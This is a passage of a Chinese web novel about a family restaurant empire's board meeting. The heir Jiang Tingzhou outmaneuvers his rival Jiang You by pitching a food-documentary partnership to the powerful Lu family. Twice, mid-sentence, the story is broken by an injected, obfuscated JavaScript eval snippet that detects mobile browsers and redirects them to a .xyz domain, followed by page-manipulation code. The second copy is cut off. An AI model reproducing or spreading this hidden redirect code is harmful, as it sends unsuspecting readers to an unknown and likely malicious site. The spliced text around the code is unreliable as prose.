秦如霜是秦家的大女儿,长得漂亮、为人干练,陆家在圈子里的人际交往都是她来做,现在陆运集团整个公关和对外宣传也是她负责,即使没有陆夫人的身份,她都是陆家举足轻重的人物。 所以陆嘉和刚进陆运集团去的就是公关宣传部门,他刚刚抱怨的也是这个。 他的资质相对于陆白屿来说显得平平无奇,职位不低,但是业绩一般,被集团不少人在背后指指点点说是空降来的关系户二世祖,话都传到陆董耳朵里了,随后就被严厉地教训了一顿,今天的心情看起来一般,唯有面对姜柚的时候有点笑脸。 在这整个会议室里,秦如霜坐的位置是最中心的,姜益生坐在她旁边,老老实实给她倒茶。 她看见姜汀州进来,伸手推了推脸上的金丝边眼镜,打破了一室的宁静,抬手招呼他:“汀州,来,过来坐。” 姜汀州便走了过去,坐在她旁边,也就是姜柚和陆嘉和的左手边座位。 杨店长紧紧地跟着他,也不坐,就站他身后,一步也不挪。 “哥,大家就等你了,”姜柚冲着他笑,上下打量了一下姜汀州,道,“今天有点堵车,你赶过来有点着急了,要不要去换件衣服洗把脸?我办公室就在楼下。” 姜柚穿了一身很有质感的白色西装,从上到下,哪怕到头发丝都精致,更衬得他像个小王子。 姜汀州也算打扮正式,但和他一比就显得随意潦草了一些,他在车上睡着,头发都翘起来了一点,打理了一下也没压下去,身后还背了一个双肩包,不像来开董事会的,像是个匆匆忙忙挤地铁的普通上班族。 姜汀州没理他。 姜柚言下之意他用脚趾头想都知道,他在姜氏都没有什么办公室,姜柚却有,他拿话刺人又显摆也不是一天两天了。 姜柚自讨了个没趣,但他没有得到回复,陆嘉和反而有点不高兴,朝着姜汀州那边道:“喂,好歹在公司呢,别带着脾气来,谁惹你了?” “算了,我哥看起来昨天没休息好,”姜柚拍了拍陆嘉和的肩膀,劝道,“而且他病刚好,昨天才从医院出院,说不定是身体不舒服,心情不好也正常,他不是故意的。” “我说你就是心好,他都这么没礼貌了你还帮他说话,”陆嘉和一向和姜汀州关系不好,劝了没用,反而起劲了,“自己做事情失败,闹出这么大的麻烦,还好意思摆出这张脸,我看他就是故意针对你!” 秦如霜皱了皱眉头,瞪了陆嘉和一眼,然后姜汀州就开口了:“你说对了,我就是针对他。” 他转过头看着姜柚,问道:“你既然这么关心我,知道我昨天刚出院,怎么不来看我呢?爸工作忙,妈身体不好,但你前两天就回永青家里了,怎么没想到来医院看看你病的要死的亲爱的哥哥呢?” 姜柚没想到他会这么回答,愣了好一会儿,道:“哥哥一直不待见我,我以为……” “你既然觉得我不待见你,怎么会在这时候让我去换你的衣服?在你眼里我件衣服都得穿你的是吧?”姜汀州冷笑,“真需要的时候你不来,假客气倒是很会。姜柚,我懒得理你,你少在我面前装模作样搞这些东西,不如多琢磨琢磨正事。” 杨店长紧跟着就阴阳怪气接了一句:“是啊,平时嘴倒是甜,谁知道心里憋着什么坏水呢。” 他同样深受其害,自然对姜柚没有半点好脸色。 在这种正式场合,所有人都维持着表面上的和气,很少有人说话这么难听,大家的脸色都不好看,姜益生脸色都变了,开口道:“姜汀州你是不是疯了,吃枪药了?” 陆嘉和是个炮仗脾气,也跟着猛地一拍桌子:“你少在这里说小柚,好像你有什么本事一样,要不是我们家主动联系人帮你删那些负面言论,你现在还在网上挨骂呢,现在倒在这里逞威风了。” 秦如霜的脸色也很不好看了,训斥道:“陆嘉和,够了,你少说几句,多大年纪的人了,怎么还不能稳重一点?” 姜益生听到这里,敏锐地捕捉到一点关键词:“等等……秦总,您的意思是,之前那个热搜是陆家帮忙的?” 他当时看到明星大V都道歉了还觉得奇怪,但当时热搜内容已经开始反转了,这些人为了维护仅剩的名声低头不是不可能,网上的事情解决了,他也没有深究,现在听到这一句才知道内里缘由。 这事情是陆家出手的除了姜汀州本人心里清楚,其他人都不知道,甚至杨店长都愣了一下,怪不得,那个水军公司骂他惹到大人物。 陆家居然会伸手管姜汀州的事? 陆嘉和显然对此事很清楚,振振有词回道:“对啊,还是我哥亲自去打的招呼,他在国外这么忙都还得为你那点破事担心,不知道你和他说了什么,甚至还劝了妈过来参会,还特意叮嘱我们,生怕你受什么欺负。” “你以前就这样,我告诉你姜汀州,你这里你那套就对我哥有用,对我根本没用,我就看不上你这狐狸精的狐媚样子……啊!” 他的话最后打断了,是被忍无可忍的秦如霜“啪”地一声敲了后脑勺,拿硬壳笔记本结结实实敲的。 “给我坐下,”秦如霜瞪他,恨铁不成钢,“在集团工作了这么久还是咋咋呼呼,还敢提你哥,你要是有你哥一半有用,我就烧高香了!” 随后,她又转过头对姜汀州说道:“你别听他的,他脑子不好使,汀州,我听说你大病了一场,又突然从原来的地方搬出去了,怕你出什么事,现在看到你还好,我就放心了,其余的你不用放在心上。” 陆嘉和挨了亲妈的打不敢说话了,姜柚连忙伸手过去帮他揉后脑勺,这边又轻声劝着秦姨你别生气,姜益生也反应很快打着圆场,但却忍不住望着坐在那里的姜汀州。 陆家从来都不过问姜氏的实际经营,怎么会因为老店闭店这种事情特意来参加董事会,陆嘉和可能会为了姜柚这个朋友来凑一凑热闹,但秦如霜不是会管这些事的人。 现在他才知道,她居然是因为姜汀州来的。 ——姜汀州和陆白屿的关系好到这种程度吗? 姜汀州懒得继续吵架,但他感受到了姜益生的眼神,但是他现在对陆嘉和那句“狐狸精”觉得十分好笑。 他还是头一次听到有人这么评价自己。 这小休息间吵闹了这一会儿,很快就到了董事会的时间。 大家陆陆续续进了会议室,姜茉莉果然来参会,是踩着时间匆匆从楼下财务部门赶过来的,进来看见姜汀州,望着他笑了一下,轻声叫了一句小宝,随后走过去坐在了中间位置。 她手上还拿了一个文件袋,不动声色地放在姜益生手边,又和姜益生低声说了几句什么,递给他一个警告的眼神,把文件袋往他那边推了推。 姜益生的脸色在那刹那有一些变化,又很快恢复原样。 然后会议就开始了,按照姜氏董事会一般的流程,人事任免是最后一个环节,姜柚和姜汀州的竞争结果自然也放在最后,前面是例行公事的各部门工作汇报。 姜柚是最先上去的,他准备非常充分,PPT很漂亮,期间提出了许多新颖的理念,各种专业理念层出不穷,香蕴半岛现在的经营状况也很好,他准备布局在全国的一线城市开分店,如今已经开始在网络上造势了。 姜柚讲完了之后,姜益生很是满意,夸了好几句,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14439933|153474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如霜坐在那里也是微微点头。 宫宴这边的汇报,其他店都和之前差不多,而且流水还略有下滑,经营上面没有什么能提出来说的亮点。 老店从来和其他连锁店不一样,是相对独立的,董事会没有心思听他的工作汇报,毕竟摆在眼前的负面情况,宫宴老店的舆论和投诉事件,这件事甚至波及到了其他的连锁店。 杨金豪的自我检讨都已经做过很多回了,董事会众人都知道这情况,姜益生对此事的要求也很明确:“今天就别说废话了,事情已经发生了,关于这件事,大家现在商量出一个解决方案来。” 这些人指责别人倒是擅长,但说到解决办法,所有人都犯愁。 几个小股东不过是提了一些平平无奇的补偿方案,姜益生不满意,手里的钢笔敲了敲桌面,道:“姜柚,你来说。” 姜柚坐在陆嘉和旁边,像是两个人关系好所以位置安排在一起,实际上会议的位置排布都是有讲究的,他坐的那个已经是副总的位置,和姜汀州硬是隔了好几个座次。 他开口的时候就很自信:“大家提的建议都很好,补偿什么的我就不再赘述了。但我觉得,客人们不过是想看到我们的诚意罢了,不仅补偿,还要处罚,大力的处罚。” “你的意思是……?” 姜柚道:“姜氏必须要把这件事顶格处理,把店长开了,宫宴店里哪些人涉及到这件事的,统统开除或者处分。” “公司有规定,犯了错就要收到处罚,之前客人们在气头上,现在过了一段时间已经冷静下来,又在这时候看到我们的诚意和态度,最好把客人的怒火转移到个别人身上,我相信,这样能劝回来一些客人了。” 他这样一说,确实很有道理。 但会议上有小股东对此有点不太放心,问道:“一下因为这件事辞退这么多人,老店的生意不会出问题吧?” “姜氏难道还缺人吗?我们从总部派一部分人过去就行了。”姜柚笑,“出了这件负面事件,我觉得究其原因就是管理上出了问题,我哥……嗯,姜主厨生病了就运转不畅,本来是内部的矛盾,还对外闹出这种问题,说明老店的经营方式本来就有隐患,只是这次暴露了,确实需要人过去帮忙重新改造一下才行。” 他这话一出,不少人听懂言下之意,就打起精神来了。 杨金豪作为姜益生的亲戚,又在老店经营了这么多年,之前的地位都很稳固,现在他要是被开除了,宫宴老店店长这个肥差就空出来了。 而且姜柚这话一说,姜汀州在这件事也得负责任,主厨升做店长是不可能的,这不就能就留给自己人了吗? 任何公司里面都会有派系斗争,几个参与管理的小股东也一直各有各的算盘,能往紧要岗位安插人这种大好事可是可遇不可求的。 除了他们,姜柚自己也想伸手进去。 宫宴老店毕竟是姜氏的根基之一,谁会嫌自己手里的资源多呢?他不可能把这一大块拱手让给姜汀州。 他提的这个方案确实狠,有些没做错什么的员工大约也要无辜受牵连,但听起来又很有吸引力。 姜汀州有时候真是挺佩服姜柚的。 明明眼前是挺大的麻烦,硬是能被他算计出机会来,对比姜益生真是青于蓝而胜于蓝。 姜柚的提议说出来以后,会上一片人附和,连连说着“好,这是有用的”。 杨店长对这件事有心理预期,他想到的最坏的结果是被辞退,但姜柚这种做法还是超出了他的预期,特别是会上有人提了一句“辞退都太轻了,应当引咎辞职追究责任才是”,他就忍不住了。 辞退还能拿到一笔补偿,引咎辞职追究责任那就是把他往死路上逼。 特别是提出这件事的还是姜柚,他明明心里什么都知道,当时要不是他给自己找水军公司推波助澜,事情能发展成这样吗? 而且这哪里是为了救老店,分明是趁火打劫抢地盘! 17.第十七章 他正要暴起和姜柚拼命,旁边的姜汀州就踢了他一脚。 姜汀州之前一直没说话,现在开口道:“行了。说这么些光明正大的废话,不就是想趁火打劫拿老店的好处吗?你们也要有本事拿得到。” 他旁边人皱着眉看他:“你说话别那么难听……” 姜汀州看向他:“你觉得我我说话难听,是因为事实就是那么残酷。怎么,大家以为开除店长和几个员工,转移一下客人的注意力,然后给一点乱七八糟的积分补偿和权益,就能留住那些老客吗? 姜柚,你也是开高端餐厅的,你的目标客人真的会被这点蝇头小利吸引吗?” 姜柚仍保持着淡淡的笑,回道:“哥,你别把情绪带到工作里面,我是就事论事,没有针对你的意思。” “别废话,正面回答我,”姜汀州道,“你真心觉得宫宴的目标客人会被这样的方案打动吗?” 姜柚停顿了一会儿,反问道:“你觉得这样不行,那你又有什么好方法?” “你还是没有正面回答我的问题,因为你自己心里很清楚,这些只能解决表面上的问题,”姜汀州道,又递给杨店长一个U盘,“你,去把这个接上显示屏。” 杨店长忙不迭地去了。 和姜汀州一样,他也有一个工作汇报PPT。 但是相对于前者的精致,姜汀州的十分简洁明了,这就是他在车上二十分钟弄出来的,但是内容却很明确。 他挪动了一下眼前的麦克风,让自己的声音更加清晰:“你们光想着怎么道歉,没有看到那些客人的动向,从老店选择闭店开始,怎么道歉就不是重点了,重点在于,怎么把客人请回来。” “各位,客人不是站在那里等我们道歉的,他们是会走人的,显然易见,永青从来不止宫宴一家高端餐厅。” 这回VIP们因为排位不规范生气,但他们仍然有应酬的需求,在老店闭店的时候,这些尊贵的客人自然会选择其他餐厅消费。 ppt上,姜汀州展示的正是宫宴竞争对手这几家的最近几天的定位情况,有两家甚至出现了和节日一样的满号排队现象,随后,他又展示了这几家店近来做的各类推广活动,全是宫宴老店出事的时候推出来的。 力度之大、态度之好,刚刚董事会上提出的那点补偿方案都不够看。 “我相信,这些客人都不是得理不饶人的,这阵气头过了,姜氏态度够好,他们总会消气的。之前杨店长已经通过以前的情面让一些客人撤诉了,可许多熟客再没有定过位置,这些天也没问过老店什么时候再开业,我刚刚问过,他们的回复是最近几天都被邀请去其他店了。” 姜汀州和一些老客人很熟,ppt下一张照片就是他昨天晚上和客人聊天的一段记录。 “老店或许明天就能重新开业,甚至现在就可以开业,并没有任何人阻止我们开门,但最核心的问题是,但客人们真的还会乖乖回来吗?”姜汀州继续道,声音更加冷淡,“你们现在大可以把全店的人员大换血,我乐意之至,但之后呢?各位真的可以承担再开门后流水下滑的情况吗?” 他这样一说,会议上大家都闭嘴了。 他说的是对的。 PPT很简洁,但是展示的东西无法反驳。商场如战场,这回的事态从不是老店一家店的事。 姜氏这十年能发展起来,宫宴生意这么好,除了陆家的扶持,最大的原因是之前国内经济腾飞,高端餐厅市场有一段相对空白期,宫宴又有百年老店和御厨的金字招牌,才一下站起来了。 但到了眼下这个时间段,这个暴利行业已经挤满了竞争对手,而且能从国外空运高端食材回来早就变得简单,各种高端餐厅日式法式的噱头层出不穷,同样做中餐的,比如帝都那边的老字号,分店也开到永青来了,装修环境比宫宴老店还好。 如今消费水平和宫宴类似的,在永青已经不下十家。 别说宫宴只关了几天,抢客人有时候就是一瞬间的事情,高端客人的圈子就那么一点,人数是极其有限的。 其实这种抢夺客人的情况之前就有,所以之前老店生意并不算特别亮眼,很少有排队现象,姜汀州来宫宴之后,凭借着独一无二的菜色救了一把,被老食客口口相传,才渐渐做起来了,随后姜汀州拿奖,行业内声名鹊起,这才一位难求。 这次的闭店,更是把这些问题都暴露出来了。 “高端餐厅只会一味讨好客人是没有用的,因为都是治标不治本。和客人道歉自然要道歉,但大家在这里讨论,想要得到的结果不是老店重新开门这么简单,而是得到客人的肯定,回到原来永青高端餐厅头号交椅的状态,”姜汀州一针见血,“重点是光环,是独一无二,对付负面情况出了道歉之外,最好的挽救方法是宣扬正面,就像防守补漏最好的办法是进攻。” 姜汀州的PPT翻到最后一页。 铺垫足够多,如今可以说他的解决办法了。 “我之前参加央视的美食节目,和那位总导演关系很好,他和我师傅王大师傅也是熟识,”姜汀州道,“他前段时间和我说了一个消息,央视那部美食纪录片准备在最近筹拍第二季了,还是原来的班底。” “我当时比赛结束之后就和他提了建议,来永青拍,宫宴能做永青这边最地道的家乡菜,正符合那边的选材。那部纪录片的策划也是总决赛的评委,当时还给我投了票,他对永青这边的菜很感兴趣,所以在几天前给了我肯定的答复,准备最近抽时间来永青一趟,为拍摄采风。” 姜益生反应过来了:“纪录片……你是指,舌尖?” 姜汀州点头:“是。而且我还知道,目前这纪录片的招商和冠名都还没有确定。” “舌尖”这部美食纪录片不用介绍,在座的所有人都看过。 这部美食纪录片一上线就大爆,国民关注度极高,播出以后,购物网站上卖餐具的销量翻了百倍,现在还一直在央视轮播。 观众们对第二部的拍摄期待已久,但央视的项目不像是娱乐圈八卦容易探听,消息一直是保密的,要不是姜汀州有这层关系,其他人根本不知道。 秦如霜之前一直在会议上兴致缺缺,毕竟她只是答应了陆白屿的请求,来帮忙看看姜汀州的状态,顺便看看自己刚工作的儿子在这种场合下的表现,但姜汀州一提到这个,她一下就坐起来了。 这些年,陆运集团在各种渠道都投放广告,花销巨大,但是在竞争激励的市场里这是必然选择,特别是现在端到端的物流模式极其需要大众认可度。 广告从来不是盲目烧钱,最重要的是要花对地方,正在起作用的广告并不多。 “宫宴相对于别家,最大的优势就是历史悠久,而且本地菜非常地道,是真正的百年老店,倘若能在摄制组来到永青的时候争取到这次机会,以后都会不愁客人。”姜汀州道,“当然,我相信,对于陆运集团来说,这同样是很好的机会。” 他知道陆运集团最近在网络上投广告花了不少钱,且这正是姜柚擅长的领域,所以他和陆嘉和很有话说,也确实帮上了忙。 但是那些网红达人的宣传效果有限,只是面上看着热闹。 陆运集团缺的不是认知度,而是认可度,最重要的是实打实的垂直领域,目前的网络宣传显然没有达到最好预期。 “舌尖这一季会放在视频网站,和央视同步播出,”姜汀州继续补充,“当时拍第一季的时候,冷链技术没有那么发达,大家看着屏幕流口水,也只能上网买一些简单的原料,但是现在不一样了。” “陆运集团现在的冷链运输已经很成熟,速度和质量都是其他打价格战的友商不能比的,有些能够通过冷链保存的食物已经可以通过快递运到每个人手里,我相信这正是陆家当前的最大优势所在。” 秦如霜在此时没有多说一句,这些事情她显然比姜汀州更加清楚,已经站起来出去打电话了,出门之前经过姜汀州,拍了拍他的肩膀,留下一句:“很好。” 陆嘉和的反应要慢一些,等理解过来之后就如同醍醐灌顶一样,急道:“你有这消息,怎么不早说!” 姜汀州道:“我现在说也不晚。今天人齐,说这件事好让大家心里有个数。” “姜总,你说是吧?” 姜益生听到现在,脑子里已经转过很多念头,但他第一件事果然就去看陆家人的态度 现在就连陆嘉和的心思也显然不在姜柚身上了,哪怕刚刚和姜汀州闹得不愉快,如今也正色起来,开始问着姜汀州更多的事情,全是工作上的正事。 秦如霜很快回来了,她像是已经有了决定,对大家说道:“宫宴老店得罪的那几家客人,我会派人去打招呼,你们内部打算怎么处罚我不插手,最好保证老店尽快开业,让这件事赶紧过去。摄制组近期来永青,必须用最好的状态来接待他们。” 姜益生连忙点头,道:“好的秦总。” 然后秦如霜示意姜汀州:“来,小姜,过来,坐我身边。” 她如今的态度,和之前在小休息室里招呼他过来完全不一样了。 之前是客气,现在是真带着笑意了。 “汀州,你帮了我很大一个忙。”她道,“也怪我,以前没发现你的能力,你有这样的见识和想法,真是长大了。” 这些话姜益生全都听在耳朵里。 前面的问题已经解决了,陆家愿意插手解决,自然是最好的办法,很快到了董事会最后的人事任命环节,姜汀州和姜柚的比拼要有个结果。 在场的人大多都听过风言风语,知道结果其实已经定下来了。 这临门一脚的时候,姜益生却有些紧张,他看了一眼姜柚,又看了一眼姜汀州,把桌子上的文件翻到最后一页,沉默了好一会儿,开始说话。 此时此刻,唯有姜汀州很是淡定。 他放在桌子底下的手在把玩着自己的勺子奖牌,整个人微微向后靠,这是很放松的姿态,好像已经知道结果如何。 在姜益生一段公式般的套话之后,他的手往姜母放在那里的文件袋那里伸了伸,然后把手郑重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一时间,会议室里洋溢着热烈的氛围,大家都如此顺利地接受了这个结果,再没有人嫌他脾气差。 姜柚努力控制住了情绪,但是还是脸色发白,机械似的鼓了鼓掌。 姜汀州看着姜益生在已经准备好的人事任免书上签字盖章,这场比拼的结果便是盖棺定论了。 那粉彩膳碗作为奖励,也当场由姜茉莉交给了他,她伸手拥抱了姜汀州,脸上浮出淡淡的笑意,道:“小宝,恭喜你,妈妈很高兴。” 那碗被小心地固定在盒子里,货真价实的古董,看着就是很漂亮。 姜汀州同样伸手拥抱了妈妈,道:“谢谢妈妈,我也很高兴。” 但是姜茉莉一转头看见姜柚,又有点心疼,安慰道:“小柚,没关系,以后还有很多机会,你开新店的时候公司会帮你的,你放心,我也会帮你的,只要你们兄弟好,妈妈做什么都可以。” “是啊,”陆嘉和也附和着,“小柚别担心,这才刚开始。” 在场的所有人都这么想,这只是一个开始而已,姜家这两个孩子已经斗法斗了很久了,一个公司副总而已,远远不是结束。 董事会之后其他人都散了,但是姜家和陆家的人还没散。 秦如霜的电话响了,她紧急叫去探听消息的人似乎有新的进展,而姜柚在陆嘉和的安慰之下像是已经回魂了,他一向很能掩饰,脸上已经挤出一抹笑来。 连这段时间面如死灰的杨店长脸色都好看起来。他目睹了这一切,只觉得像是坐过山车一样。 这回有陆家出面,又有后续接待纪录片摄制组的事情,店里不会总不会闹得太难看的。按照姜益生的性格,在已经有解决办法的情况下不会太狠,比之前预想的结果好多了。 他在会后真心实意地和姜汀州道了谢:“谢谢你帮我,也帮了老店。” “不用跟我说这些,我没想着帮你。” 姜汀州实话实说,他把膳碗装进自己带来的背包里,里面已经放好了保护的泡沫纸,没有看杨店长那张老脸;“姜氏的处罚迟早会下来的,你是肯定当不了这个店长了,大概以后和老店也不会有半毛钱关系。” “我知道,哪怕是辞退让我在家里呆着都行,我都能接受,”杨店长道,“主要是老店终于有救了。” 他活到这个岁数经历这一遭,只觉得像是死过又活了一次。 他在老店干了这么多年了,曾经对姜汀州下手狠,但对这家店是真有感情,这些天都没有睡过一个安心觉,直到看到陆家的态度,心里才安定下来,又开口道:“你不说,但是我知道你对老店有感情,其实,你是最讲道理最讲情分的人。” 姜汀州嗤了一声:“那你想错了,我纯粹是为了赢这回拿奖励而已。” “你别这么说,”杨店长道,他又转身去看着站在那里的姜柚,眼神一下就变了,哼道,“有些人才是真的知人知面不知心,真正的小人。” “汀州,你要赢他,一定要赢他,你要站在最高处,我就算离开老店了,这个仇,我一定会报。” 杨店长以后想折腾什么,已经不关姜汀州的事情了。 不仅是他,这地方所有人的人和事,都即将和他没有半点关系了。